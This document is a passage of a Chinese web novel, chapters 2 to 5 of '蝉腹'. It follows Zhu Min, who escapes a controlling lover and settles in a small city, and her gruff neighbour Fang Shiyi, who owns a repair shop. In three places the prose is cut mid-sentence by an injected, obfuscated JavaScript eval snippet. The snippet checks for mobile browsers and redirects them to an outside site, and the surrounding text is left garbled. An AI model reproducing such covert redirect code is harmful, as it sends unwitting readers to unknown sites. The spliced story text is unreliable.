《蝉腹》 2. 第 2 章 回到出租屋已经快八点。 朱闵把买回来的两大袋日用品摊到地上,一一归类,塞进柜子里,又拿条新毛巾当抹布,这擦那涮,给床垫被子套上四件套,来来回回花了两个多小时。 太久没做过家务,她累得浑身酸疼。 洗手间没安热水器,整栋楼都是太阳能装置,白天存热水,够晚上用。 朱闵冲了个澡,换上睡裙,从客厅逛到卧室,把缺的大件记下来,打算明天去趟家电城,买空调和热水器,再添置点新家具。 她打开窗户,让过堂风进来。 湘城气候潮湿,空气中有一股老楼特有的木头沉香味,不算难闻。 总算得空,朱闵解锁手机,过一遍微信。 她好友不多,基本被删光了,除了大学玩得好的几个室友,只有赵关澜、约麻将约逛街的富太太们和各大商场的SA。 毕业后,大家各奔东西,开始还能在群里商量什么时候聚一次,一年忙到头,闲暇时间对不上,慢慢就不联系了。 从北到西南边陲,横跨上千公里,她现在连可以报平安的对象都没有。 朱闵在通风口站着,网购了吹风机和杂七杂八的几样,等头发干得差不多,上床睡觉。 床垫薄,床板硬得像板砖,朱闵翻来覆去,熬到凌晨还是睡不着。 屋里静得可怕,蝉鸣,树叶沙沙响,楼底下有个醉鬼恨不得问候别人全家。 她瞪着天花板,想起白天那通未接电话,想起赵关澜,想起大二那年—— 家里突然遭变故,上初中的弟弟和转学生打架,事情闹大,父亲气得中风进了医院。后妈连夜问她能不能凑到钱,家里积蓄不多,手术费够,但还得额外拿出一笔,赔给那学生一家。 那时她不到二十岁,阴差阳错认识了赵关澜。 她病急乱投医,跟他求助,他没问缘由,给她转了笔钱。 也是同一年,她在大事小情上不断受挫,不断跌进低谷。 朱闵承认,当初她太年轻,不想吃苦,觉得走捷径是唯一出路。 她和赵关澜的开始不见得有多光彩,是顺其自然,也是一个愿打一个愿挨。两个人互相折磨,一晃过了六七年,像过完大半辈子。 舟车劳顿一天,身体撑不住,总算熬出点睡意。 朱闵睡得不踏实,反反复复做梦,再睁眼天还没亮,身上多了好几个蚊子包,钻心的痒。 她起来洗把脸,盯着镜子里的自己——憔悴,脸上没有血色,保养得不错,看着比实际年龄小。 明明还年轻,眼神却空洞,一潭死水。 房子隔音不好,洗手间挨着门边,楼道里有脚步声。 楼下有人回来了。 朱闵抹一把脸上的水珠,很自然地想起那个叫“世易”的男人,和他懒洋洋掀起眼皮,张扬又直白的眼神。 - 方世易最近经常昼伏夜出,要么在修车行待到半夜,要么出去应酬,回家没个准点。 前段时间,又有批二手车流进湘城市场,他这边刚好有客源,给朋友牵线搭桥,从中间拿抽成,多少能赚一笔。 朋友赚大头,为表感谢,三天两头找他喝酒,实在推不掉,也就去了。 昨天喝到天快亮才散场,白的啤的洋的混着来,方世易回来倒头就睡,下午醒了,听到楼上有动静。 中介叫黄家伟,是这一片的老油条,专挑外来游客下手,说宰就宰。 女人讲话轻柔,语调平平,丝毫没有讨价还价的意思,不用费心思钓就能上钩。方世易嗤了声,懒得凑这热闹,披着毛巾进浴室洗澡。 这会儿,方世易从修车行回来,刚进门。 屋里乌漆嘛黑,他开了灯,脱掉汗湿的T恤,瘫到沙发上,上半身的线条深壑,勾出人鱼线。 楼上传来鞋子拖地声,从这走到那,很快没了动静。 他抬了下眉,看头顶的老式挂钟。 茶几上的烟灰缸堆积成山,天蒙蒙亮,方世易换身干净衣服,出门吃早饭。 好巧不巧,朱闵也出来了,和他打个照面,穿一套熨帖的运动服,长袖搭短裤,素面朝天。 方世易扫过那两条纤长的腿,像静滞的一捧雪,白得过分晃眼。 他眯了眯眼,主动搭话:“这么早?” 朱闵微顿:“睡不着了,下来走走。” 方世易点点头:“前面那条巷子有早市,卖什么的都有,挺热闹。” “绿尾巷吗?” “不是,南边还有个小市场。”方世易笑笑,特意补充一句,“你要实在有钱没处花,想被宰一顿,去绿尾巷也行。” 昨天在裁缝店外闹得沸沸扬扬,朱闵被他说得有点窘迫,但没表现出来:“那我去南边看看。” 朱闵先他一步下楼。 他双手抄兜,离远看她发尾的自来卷,和脖颈那块白净皮肤。 男人身材结实,没健美教练那么壮硕,是一种自然修饰的硬朗,气场强大,无形中给人压迫感。朱闵笼罩在他的阴影下,哪哪都不自在。 她一口气下到一楼,和他拉开一段距离。 朱闵对附近还不熟,没地方可逛,难得呼吸到没有雾霾的新鲜空气,沿人行道多转了一会,发过汗,心情舒畅不少。 不知不觉走到绿尾巷,朱闵懒得再往南去,就近进到一家早餐店。 店面不大,勉强放下两排桌椅,玻璃柜台摆餐具和各种各样的咸菜,露天一口大油锅,专门用来炸油条。 这个点已经走一批客人,一个戴围裙的老头在收拾桌子。 没等朱闵看清全貌,被叫住。 方世易坐在她右手边的塑料凳上,大喇喇翘着腿,碗里盛着吃一半的豆腐脑。 遇到她,他倒不惊讶:“不信邪,非要自己跑来试试水?” 别的桌还没收拾完,老头以为他们熟识,招呼道:“姑娘,那你和小方坐一起吧,省得等了。” 过道狭窄,来回有人进出,朱闵不好挡人视线,坐到他对面。 她想了想说:“毕竟以后要在这生活,总不能一直避着。估计被宰多了,就有经验了。” 方世易哼笑,不多劝。 老头递来一个包塑料膜的手写菜单,叫她吃什么直接点。 朱闵拿在手里,摸着黏糊糊的,又放下了,抽纸巾擦手。 方世易问:“吃不惯这种苍蝇小馆?” 朱闵硬着头皮说:“没什么吃不惯。” 她早上胃口不大,点了杯无糖牛奶,配两个白煮蛋。 方世易明目张胆打量她:“你看着不胖。” 朱闵没反应过来:“嗯?” “吃太少。” 朱闵一顿,剥着鸡蛋皮,看了眼他面前那堆包子油条。 方世易喊老板端来一屉牛肉小笼包:“照你的吃法,白来这儿一趟。尝尝这家店的特色。” 朱闵没动筷。 方世易无所谓,光顾吃自己的,三两下喝完那碗豆腐脑,把剩下几个包子一起解决掉。 他离她不远,存在感很强,朱闵想不注意到都难。 她莫名有了食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553546|186818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲,夹起一个小笼包,咬一口。 方世易无声地勾勾嘴角。 她吃到一半,他吃完要走。 结账前,朱闵说:“这顿我来请吧,昨天的事,还没跟你说谢谢。” 方世易向后靠,手臂上的血管偾张:“合着把我当热心市民了?我这气质,像么?” “没,怎么说我们也是邻居,抬头不见低头见。” “懂了,意思是不想白白欠人情,还怕我以后揪着这事不放。” 朱闵呡一口牛奶,没说话。 方世易从烟盒里抖出根烟,咬住滤嘴:“这片的生意人没一个不对警察膈应,和耗子见了猫似的。你一个电话拨出去,倒霉的可不止那一家,都得停业等调查。我是给自己解决麻烦,顺带拉你一把,懂了么?” 这话还算委婉,没明摆着告诉她——小地方的人排外,讲人情世故,不吃你们大城市动不动搞投诉那一套,有冤申冤屁用没有。 朱闵眼角微微发烫,过几秒问:“那家修车行是你的吗?” 方世易嘴里的烟晃动两下,口齿不清地“嗯”了声。 “一码归一码。”朱闵有了数,照样同他客套,“不管怎么样,还是谢谢你。” 方世易不再说什么,从裤袋里摸出几个钢镚,丢进桌角挂着的纸篓里,走了。 他从她身旁经过,遮住大片阳光,细碎的斑影打在地上。 吃过早饭,朱闵去前面早市逛了逛,地摊上卖吃食、日用品、服装、编织物,应有尽有。逛到最后,她只拎了两袋新鲜水果回去。 下午,趁天气没那么热,朱闵打车直奔家电城。 一楼只有一家卖家具,她挑好款式,跟店里伙计约好上门测量安装的时间,上楼买家电。 本地人听她口音不对,拐弯抹角介绍贵的产品,狮子大开口。 朱闵多走几家,反复比价,敲定一家价格合适的。 付过钱,等老板开票的空档,进来两个人,一个穿堆褶的白衬衫,脖子上挂房产中介的吊牌,一个还是早晨那套,黑背心黑裤子,要多随性有多随性。 老板认识他俩,放下手头的活,握了下白衬衫的肩膀,插科打诨两句。 老板笑道:“伟子,今儿怎么有空上我这来?” 白衬衫递去两条烟:“这不最近赚了点钱吗?大家一起乐呵,你平时也没少关照我。” “你小子,少干点不当人的事。” “甭废话,你要还是不要?” “要啊,不要白不要。”老板收下了,放手里掂掂,扭头看方世易,“对了,我听伟子说,前阵子你给他捯饬了一辆二手丰田,价格挺低的,也没赚什么辛苦费。” 方世易闲散道:“赚不赚的,就那么回事,大不了少吃一顿。” 聊了没几句,白衬衫着急忙慌离开,带人去看房。 方世易给修车行那群小伙子们租过几间宿舍,今年房子正好到期,打算换个新住处,过来订一批家电。 他是这的常客,三言两语交代完,正准备走,临时接通电话,没走成。 几米开外,朱闵冷眼旁观男人高大的背影,对号入座,脑子里闪过一个念头—— 一丘之貉。 头顶的中央空调吹得人忽冷忽热,朱闵绕到收银台,站在他身边,平声静气地说:“老板,票子开好了吗?” “诶——马上马上。” 半生不熟的清淡嗓音清晰入耳,方世易电话讲到一半,垂了垂眼,盯她柔软的发旋。 她对他视若空气,眼神都没给一个。 3. 第 3 章 从家电城出来,天没彻底黑透,将暗未暗。 附近不好打车,朱闵跟导航走到站牌前,等四十分钟一趟的公交,脚下是被暴晒过的柏油路,踩着发黏,沥青味直冲鼻子。 马路对面,小女孩骑着爸爸的脖颈,手里挥着一个棒棒糖,被逗得咯咯直笑。 朱闵看着父女俩亲密互动,记起什么,算算日子,拨出一串座机号码。 待接铃声响了很久,无人接听。 这个点张芳凡刚从社区下班,家里一般不会空着,朱闵耐着性子拨第二遍,听筒里传来弟弟朱阔的大嗓门:“谁啊?” 朱闵直奔主题:“阿姨呢?” “朱闵?”朱阔反应好几秒,“两三年都没动静,你突然打电话干吗?一个人在外面吃香喝辣,也不管我们死活,妈白养你了是不是?” 朱阔又气又觉得稀奇,还想说点什么,被张芳凡打断:“怎么跟你姐说话呢?去把饭盛出来放桌上,赶紧的。” 朱阔混归混,在母亲面前鬼精,嘟囔了一句,拐去厨房。 张芳凡拎过电话,语气生份地喊了声“闵闵”。 朱闵还在上小学,张芳凡嫁进来,成了朱闵父亲的续弦。 朱闵父亲是个包工头,常年不着家,母女俩朝夕相处。小姑娘性格沉静,谈不上讨喜,张芳凡待她不至于掏心掏肺,好在面上过得去,没在吃穿用度上亏欠过她。 只是这么多年过去,关系仍不算亲近,不温不火。 朱闵喊人:“是我,阿姨。” “你这孩子,也不常联系家里,我还怪惦记。”张芳凡佯装关心,“最近怎么样?” “挺好的。” 张芳凡试探道:“要是遇到什么难事,可得及时说。” “过几天是爸的忌日,我顺带问候一下您,没别的意思。” 张芳凡松口气:“我好着呢,说到你爸,当初说走就走,把咱们娘仨全丢下了……” 客套来客套去,离不开那几句无关痛痒的话,朱闵听着长篇大论,无心应承。 张芳凡念叨完,提起:“对了……今早有人找上门,问你回家了没。” 朱闵轻屏住呼吸。 “那人走前还留了张卡,说是赵先生的意思。”张芳凡着急解释,“本来我没打算收,但你也知道,现在大环境不好,我每个月只领一些死工资,你弟弟马上上大学了,开销大……” 不知道从什么时候开始,张芳凡同她讲话变得小心翼翼,生怕哪里出错得罪她,得罪她背后的赵关澜。 朱闵客气打断:“爸之前交代过,让我照顾好您和朱阔,这些年我也没做什么,这钱就当补偿吧。” 张芳凡忙应下,苦口婆心道:“男女间相处久了,哪有不吵架拌嘴的,闵闵啊,闹脾气解决不了问题,你该让让,该低头低头,毕竟好日子是过给自己的。” “阿姨。”朱闵情绪毫无波澜,“如果你亲生女儿给人当小三,你也打算这么劝她吗?” 那头一片寂静。 切断通话,公交姗姗来迟,朱闵随手往铁箱里投张十块钱纸币,坐到最后一排。 这地方偏僻,陆陆续续上来两三个人,司机不再等,猛踩油门驶离。朱闵上半身往前倾,耳鸣目眩,头皮一阵发麻,脑子里只剩张芳凡说的那些话。 往前追溯,这不是赵关澜第一次差人去江城。 上次是三年前,他们差点闹掰后。 和赵关澜在一起,起初乐多于苦,甚至沉浸其中,无法自拔。 她没出社会就跟了他,见过的异性有限,赵关澜给人的印象超出认知,他不是学校里穿休闲装篮球服、一瓶不满的男生,他大她十岁,成熟儒雅,幽默风趣。 她原以为他们只有在床上才有交流,实际并不。 他会百忙中抽时间带她出去玩,陪她打卡年轻人爱去的网红餐厅;他记得她对什么食物过敏,记得她的生日和纪念日,不定期送礼物;她生病了,他守在床边,好声好气哄她吃药;他会在她做噩梦时,讲几个冷笑话逗她高兴。 赵关澜懂她的喜怒哀乐,物质上满足她的需求,体恤她的清高,在各方面为她保驾护航。 他让她有种自己在被好好珍惜的错觉。 后来相处久了,他的控制欲和占有欲渐渐浮现。 他不喜欢她社交,不喜欢她事事不报备,更不喜欢她穿稍微暴漏点的衣服给外人看。 有次同学聚餐,回来晚了,他在漆黑的客厅等她。他没疾言厉色,在她手机里安完定位,剥掉她身上的裙子,拿打火机点燃。 那簇火苗一漾一漾,朱闵觉得一颗心脏凉到极点。 类似的事多到数不过来,朱闵能忍则忍,唯一一次爆发,是她发现他把她服用的避孕药换成了维生素。 赵关澜不一定喜欢小孩,但他希望她给他生个孩子。 他不会和她吵,冷眼看她歇斯底里,最后安抚似的丢下一句别闹了。 朱闵像吞了团棉花,如鲠在喉。 趁他出差,她收拾好行李,一个人出去散心,想趁机和他断了。 几天后,张芳凡突然打电话,委婉提及赵关澜,问她是不是得罪了贵人——有人到单位闹事,上头怕影响不好,暂时停了张芳凡的职;朱阔学校那边也出了大大小小的问题,有待协商。 张芳凡从别人嘴里,添油加醋地知晓了她和赵关澜的事。 那时她太天真,以为可以干脆抽身。 张芳凡好面子怕惹事,对她避之不及,朱闵心里明白,不再联系家里。 她主动回到那个富丽堂皇的鸟笼,之后几年很少忤逆赵关澜,以他为中心,顺从忘我,被圈养,棱角慢慢被磨平。 她爱过赵关澜,也怨过恨过,现在只剩麻木和本能的忌惮。 回过神,朱闵用力掰开车窗。 安静吹了会风,捋清思路,她给赵关澜发信息,寥寥两行字:「别再去打扰他们,我和你现在互不相欠。」 一鼓作气发送,她才得以放松。 前不久,得知赵关澜要结婚,朱闵就做好了离开他的准备。 她用最快的时间收集上桌谈判的筹码,规划行程,为自己铺好后路,有多远走多远。 以为这次已经谈拢,能和他彻底了断,朱闵没料到还有这桩后续,但绝不会重蹈覆辙。 她的前半生无岸无涯,像只镀层金身的断羽雀,虎口衔食,供人把玩。 时移世易,她想鲜活自由地活一次。 - 订完家电,方世易跑了趟建材市场,趁天黑前又去趟市监局,办理车辆维修设备的年检手续。 他接手修车行的年头不短,每年都要走一遍流程,熟练地配合工作人员填完表签完字,正要下楼,在走廊碰到来办事的市刑侦大队队长冯今怀。 简单打过招呼,方世易百无聊赖地晃了下手里的车钥匙。 冯今怀了然点头,目送他走远。 十五分钟后,两人在附近的车场碰面。 方世易认得冯今怀的车,越野型SUV底盘高,他身形颀长,手掌稍微施力,轻松倚坐到前盖上,整个车身随动作小幅度摇摆。 冯今怀倒没心疼爱车,问道:“脚伤恢复得怎么样了?” “凑合,能正常走路。” “老话说伤筋动骨一百天,好生将养着,大热天的多注意点,刀口深,别感染了。” 方世易嘲道:“冯队,你现在怎么婆婆妈妈的?上年纪了?” 冯今怀笑骂:“你小子少不识好歹。” 冯今怀将近五十,在队里是出了名的活阎王,敢打敢拼,有气魄有胆量,较起真来软硬不吃,这些年一直奋斗在前线,体格丝毫不输血气方刚的年轻人。 方世易初到湘城那两年,大大小小什么工作都做过,赛车打擂、武术馆陪练、洗脚城领班、夜场安保经理,还给人当过保镖和打手。 有次节假日,正赶上警队惯例巡查,KTV包房里乌烟瘴气,一群人抱头鼠窜。方世易比警方先一步赶到,拽起一个年轻女孩的胳膊往出走,恰巧跟冯今怀撞上,两人无声博弈,你追我赶,也算是不打不相识。 之后发生过太多事,方世易在绿尾巷安顿下来,偶尔得冯今怀背地里的照拂。 雨刷器夹着装营业执照的透明袋子,冯今怀目光落到那处:“你那家店,开了有五年了吧?” 方世易说:“差不多。” “可真有你的,没人要的破店都能给盘活。” 方世易笑了声:“那你看。” 有段日子没见,叙了会旧,方世易从钥匙扣卸下一个U盘,丢给冯今怀:“你要的东西——最早那批二手车的流向,还有买家的资料。” “成,得亏你帮忙。”冯今怀没同他客气,“回头我叫人去查,看看能不能找到上个案子的漏网之鱼。” “那是你们警察自己的事,和我没关系。” 方世易扭动两下发酸的脖子,准备回去。 冯今怀忽问:“你来湘城几年了?” 方世易表情没变化,烂熟于心:“八年了。” “事情都告一段落了,今后有什么打算?” “没打算,过一天算一天。” “还跟以前一样,动不动就犯浑。”冯今怀皱眉,似嘱咐似训斥,“这段时间先好好休息,要是有机会,就早点离开这鬼地方。选择权在你,不在别人。” 方世易没作声,囫囵摆摆手走人。 店里的设备要质检,今天没什么生意,趁等红绿灯,方世易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方世易勾起一边嘴角:“挺久。” “甭管十年八年,我都赖着你,等以后娶媳妇了,我俩一起赖着你!” 方世易把两粒花生米弹他脑门上。 飞虎被弹得往后仰,颤巍着坐直了,自顾自说:“不过哥,我感觉你跟那会儿比,不太一样了。” “哪会儿?” “就刚认识的时候。”飞虎拿手背胡乱擦一下嘴角的油渍,“你当时不是在莽哥身边做事么?给他侄女当保镖……那会儿多生猛啊,脾气爆,贼不好惹,现在感觉更成熟了,摸不透。” 方世易不以为意:“都是陈芝麻烂谷子的事,谁没年轻气盛过。” 聊到往事,飞虎话更多了,踩着石凳侃天侃地。 啤酒不够劲,胖仔去买了瓶白的,三人端着酒盅把酒喝个精光。方世易平时千杯不倒,今晚似乎心事重重,也有些上头。 小区路灯连成排,蚊虫笼罩在扇形光影下,埋头乱飞。 道上多出个人,穿水洗蓝的绸面长裙,身材盈握,气质清淩,和这市井之地格格不入。 方世易背风点根烟,缓缓呼出一口白雾,紧盯着不放。 胖仔和飞虎面对面划着拳,你骂一句我嚷一句,女人正好经过,听到动静偏头,视线从他身上略过,像没看见,又从容收回。 方世易笑得发邪,“嚯”地站起来,下了几节台阶。 女人脊背微微僵住,步履却不停。 “朱闵?”方世易慢悠悠喊她,嗓子被烟酒浸泡过,低醇沉闷。 下午,当着他的面,她给老板留了名字电话。 朱闵进退两难,不得不停下。 他比她高将近一个头,一身腱子肉,斜方肌不厚不薄,肩背肌肉线条流畅。离得近的缘故,那股压迫感再次袭来。 闻到浓郁的酒气,她嘴唇抿成一条直线,唯一的想法是敬而远之。 凉亭里夹枪带棒的互侃声一下没了,飞虎挤眉弄眼,扯脖子高喊:“哥,咱这是去哪过春宵啊?” 方世易坦然得很,低头看她:“才回来?” “嗯。”朱闵尽量维持客套礼貌,“有事吗?” “透明人能有什么事?” 方世易吐掉烟嘴,拿脚碾灭猩红一点,把烟头踢到垃圾桶旁。 她波澜不惊,安静等后话,长发被夜风掀起,露出圆润小巧的耳垂。 夜晚、酒精和压力能轻易挑起男人的劣根性,他周身匪气,起了逗弄的心思:“早上一块儿出的门,还说要谢我,转眼就装不认识。” “姑娘,变够快的。” 4. 第 4 章 昏暗环境下,朱闵面容清净,不为所动,甚至有点淡漠。 眼前人像副行尸走肉的漂亮躯壳,敲一杆子给不出回响,方世易突然没了继续逗她的兴致,从钱包里摸出几张红票和一沓零钱。 他朝她伸手,胳膊上的青筋埋在血肉里,手指肉.欲修长,虎口薄薄一层茧,力量感十足。 朱闵轻描淡写问什么意思。 方世易说:“下午你走得急,老板算错账,忘了把多收的订金返你。” 朱闵接过,纸币残留着他皮肤的热度。 “下次跟他提我,能打折。” “本来我们也没多大交情,还是不给你添麻烦了。” 方世易慢慢吐出几个字:“有便宜不占,轴。” 朱闵当听不见他的评价,轻声说:“不打扰你们吃饭了。没别的事,我先走了。” 方世易扬扬眉梢,看那抹淡蓝色身影消失在拐角处,没过多久,附近一栋单元楼的六楼亮起灯,人影映在窗户上,隐隐绰绰。 阳台晾一排衣服,她摸了下面料,收走几件,搭在胳膊上,一双腕子纤细无骨,朦胧中透着白。 方世易回到座位,给自己倒杯酒,一条腿伸直了,撑在石桌边沿,姿态散漫。 飞虎凑近,笑得暧昧:“哥,那女的不是昨天跟芳姐挑事儿的那个么?你俩这就搞上了?” 方世易眼皮一掀:“你眼瞎?当我是种马,见一个搞一个。” 知道自讨无趣,飞虎摸摸鼻子,拉上胖仔继续划拳。 喝到尽兴散场,胖仔提溜起醉得不省人事的飞虎,深一脚浅一脚回宿舍。 方世易收拾完桌上那堆烂摊子,就近转悠两圈醒酒,更阑人静,在另一条小道遇见朱闵,她手里拎着食品袋,里头装鸡蛋切面和调味料。 这条路离凉亭不近,回去也绕远,方世易没戳穿她的意图:“又出去了?” 朱闵心平气和:“家里没什么吃的,去了趟超市。” “口味这么清淡。” “晚上吃太油腻对身体不好。” 聊了几句有的没的,各自安然无恙,朱闵没有多言的打算,方世易也没多问,两人一前一后走着,中间隔开几步远,两道影子交叠,摔成一条直线。 他就在她身后,朱闵快也不是慢也不是,表面淡定,注意力都在后方,来不及看脚下。 方世易似是笑了一声,懒懒开口,提醒一句什么。 一棵香樟树遮住了光源,朱闵惯性前行,右脚迈出去,深深陷进泥泞里,酸臭的土腥味呛进鼻子,脚底的黏腻叫人生理不适。 她脸色没太大变化,试图把脚拔出来,接连试两三次没成功。 方世易说:“说了前面有个水沟。” 朱闵轻吸进一口气,低头跟自己的脚较劲。 方世易说:“用搭把手么?” 朱闵说:“不用了,我自己可以。” “行。” 方世易收起为数不多的善心,看也没看她,大步流星向前,风丝丝绕绕吹来一缕香气,清淡馥雅,来自她身上的香水味。 回到住处,方世易洗了个澡,掸去满身疲惫,双臂交叠支着后脑勺,躺在沙发上一动不动,似睡非睡。 这套房子和楼上格局差不多,一室一厅,装修精简,混凝土楼板薄得要命,滚筒洗衣机运作的噪音几乎能穿透墙面。 那女人一回来就进了洗手间,水流声响了快一个小时,戛然而止。 伏天苦热,棚顶的吊扇起不到丁点作用,他闭着眼,热腾腾的水蒸气像近在咫尺,脑子里的画面连轴转,那缕香气萦绕在鼻尖。 - 酒劲后返,方世易懒得挪窝,在沙发上将就一晚,一觉睡到日上三竿还没醒,迷迷糊糊听见楼道里有攀谈声。 师傅拖着量房用的工具箱,抻着嗓子喊句话,说阁楼尺寸量完了,新家具两周后进场,用不用现在帮忙把旧家具抬走。 女人嗓音文弱,说麻烦了。 没一会,几人上来搬家具,大声谈笑吆喝,东西摩擦地面像指甲挠墙。 方世易起床气严重,头一跳一跳地疼。 他板着脸睁开眼,抄起茶几上的烟灰缸,用力砸向门口,藏青色的铁门被砸出一道凹痕,烟灰缸掉到地上,厚玻璃四分五裂。 湘城地方小,街里街外互相眼熟,知道五楼这户住的谁,门外瞬间没了动静。 方世易翻身又睡了会,没等睡饱,被黄家伟一通求救电话叫到楼下。 整个小区的租赁业务都是同一个地产公司负责,这季节不是旅游旺季,生意萧条,好不容易逮到几个游客,黄家伟没手软,铆足了劲薅羊毛,结果碰到硬茬,三女一男发现被忽悠,不知从哪喊来一群混社会的大哥。 方世易到场时,两拨人正在对峙,一言不合要动手。 一个浓妆艳抹的女生翘着兰花指,指向对面,抱着为首那个牛仔男的胳膊撒娇:“哥,就是他,欺负我们什么都不懂,问我们多要房租!” 牛仔男膀大腰圆,眉毛抽动一下,瞪着黄家伟:“问你呢,有没有这回事?” 黄家伟平时欺软怕硬惯了,被这阵仗吓到,支支吾吾不敢回答。 牛仔男没了耐心,三步并作两步上前,拎鸡崽子似的,一把拽住黄家伟的衣领,将人提起。 黄家伟慌了:“别别别,我错了,给你们退中介费还不行嘛?” “早他妈干吗去了?”牛仔男将他推到人堆里,“骗到老子头上,够你喝一壶的。” 黄家伟一屁股坐到地上,被另外几人圈住。 眼看拳脚要落下,方世易想干预,瞟到朱闵站在单元门门口,正和邻居们一起看热闹,她飘来的目光偏淡。 他临时改了主意,来到背阴处,抽烟消磨时间。 那头黄家伟被打得鼻青脸肿,惨叫着喊救命。 方世易见他出气多入气少,适时出来阻止:“差不多行了,伤了残了你们还得赔钱,得不偿失。” 一个男人吹胡子瞪眼:“关你屁事?” 方世易原本心情就不大顺畅,眼神变了变,照着对方的后腰猛踹一脚。 男人猝不及防,被踹得一个趔趄,众目睽睽下觉得丢了脸面,朝他抡起巴掌。 方世易面无表情躲开,又踹向男人胸口的位置,力道不小,男人跌坐下去,捂着胸口咳嗽,五脏六腑差点移了位。 几个同伙气不过,想出手,方世易没放眼里,蹲下戳男人的额头,戏谑道:“在我家门口闹事,你说关不关我事?” 男人又怕又气,怒吼:“你家住皇宫?他妈的哪儿都是你地盘——” 话没说完,一拳擦过眼角,男人梗着脖子,噤了声。 牛仔男认出方世易,好说好商量:“方老板,我们也不是没事找事,就算你要护着谁,也得讲点规矩不是?” 方世易抬眼:“我就是一修车的,不懂你们的规矩。” “哪儿能。”牛仔男笑,“都不容易,再怎么样也不能在钱上吃亏,咱们相互理解。” 方世易看向黄家伟:“说吧,骗人家多少?” 黄家伟断断续续回答:“……五千八。” 方世易好笑:“几千块钱就要断人手指,什么世道了,还玩打打杀杀那套?俗不俗?” 牛仔男心一横:“方老板,那你说怎么办,我们就怎么办。” “我没那么大面子,你们怎么办都行。” 牛仔男想了想说:“这样吧,该付的医药费我照付,但你这兄弟得给个说法。” 黄家伟咽口水:“我道歉,钱我退,我肯定退……但能不能宽限我几天?我全转给别人了,就留了个饭钱,不信你查账!” 牛仔男说:“有方老板做担保,我信得过。” 解决完这事,一群人浩浩荡荡走了,周围的邻居疏散开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱闵没有同陌生人暴露自己隐私的习惯,微微一笑,把话题搪塞过去。 扫码付过款,临走前,朱闵想到什么,问老板娘:“您这边有门锁安装师傅的电话吗?” 老板娘指指墙上贴着的A4纸,爽利介绍。 到家,朱闵跟师傅联系上,简单吃过午饭,师傅紧赶慢赶来了,在原来那扇门的基础上加一扇防盗门,换指纹密码锁和防盗铰链。 师傅攥着电钻,满头大汗,朱闵递去一瓶冰水,把贵重物品锁进卧室,帮忙下楼取零件,顺便到巷口的裁缝店跟房东打声招呼。 房子老旧,正愁没人帮着折腾,芳姐捡了大便宜,自然不会为难。 午后艳阳高照,燠热难耐。 从裁缝店出来,朱闵撑开遮阳伞,无意瞄一眼。 路边多出一个女人,红唇大波浪,吊带超短裙,身段妖娆,踩着恨天高的凉鞋,一步步挪到修车行门前,含笑贴近正抽烟的男人,没骨头似的勾着他的臂膀。 女人呵出一口热气,放软声线说:“方老板,你都多久没来找我了?要不是我顺路过来看看,你是不是已经把我忘了啊?” 方世易唇角带笑,没推开她:“忘了谁也不能忘了你。” “那想我了没?” 方世易勾起她的一条肩带,语气轻佻:“你说呢?” “能想就怪了。”女人冷哼,“用到我的时候什么都好说,不用了就甩一边去——你们男人不都是这样?你是,王莽那狗男人也是,都狼心狗肺!” 方世易无所谓,没为自己辩解。 两人旁若无人咬着耳朵,十几米开外,朱闵一副事不关己的状态,淡定地目睹全过程,和方世易撞上视线。 他丝毫没有被打搅的不耐,也没有色欲薰心的急躁,眼里反而是平静漠然的,像流淌的一汪琥珀,被染了色,深不见底。 5. 第 5 章 朱闵渐渐走远,腰肢逆着光线,两条圆润的弧形若隐若现。 方世易一把拽下女人,敛了不正经的态度,香烟在胸腔里过一遍,吐出辛辣的气体,哑声问:“不好好在家看孩子,干吗来了?” 彭佳梦撩一撩头发,露出饱满的事业线,笑嘻嘻说:“说了想你了,顺路来看看你,不信呢。” “说点能听的。” 彭佳梦耸耸肩:“就是想跟你打听,王莽都被抓进去好几个月了,那案子什么时候判?” “那你得问警察。” “你不是他出生入死的好兄弟么?还不关注案情?” 方世易手指灵活地把玩烟盒四角:“你还是他相好的,怎么不关注?” 王莽是个奇人,早年混迹在台球厅和歌舞厅,到处给人看场子,机缘巧合下结识港城一位富商,之后几年节节升高,开了家夜总会,阅女无数,情人来一波去一波,到了不惑之年,折腾不起了,顺手找个女人搭伙过日子。 那时彭佳梦还是个洗头妹,靠姿色手段顺利上位,肚子也争气,没几年就生下一对双胞胎。 提到这茬,彭佳梦就窝火:“什么相好的,我就是一伺候他的老妈子!本来说好的,不管他在哪浪,都得给我和孩子留笔钱兜底,现在倒好,人进去了,房产和账户也被冻结了,全打水漂了。” 彭佳梦怎么可能不怨,死心塌地跟老男人过这么多年,没名没分也就算了,到头来一点好处没捞到。王莽在湘城有名有姓,获利多,对家也多,树倒猢狲散,怕有人寻仇,她还得到处东躲西藏租房子住,和暗窝里的老鼠有什么区别。 彭佳梦换上一副笑脸:“反正我不管,老王这些年待你没话说,他现在出事了,怎么着你也得对他两个孩子负责。” 方世易轻哼:“顺便把你也包圆了?” “也不是不行呀。” “我对别人吃剩的可没兴趣。” 方世易掏出手机,拨去一通电话,托朋友在隔壁城市年租一套三室一厅的房子,叫彭佳梦尽快收拾好行李,他找人送她们过去,暂时避避风头。 彭佳梦手掌贴上他硬朗的胸膛,食指轻挠两下,得寸进尺:“我想你亲自送我。” 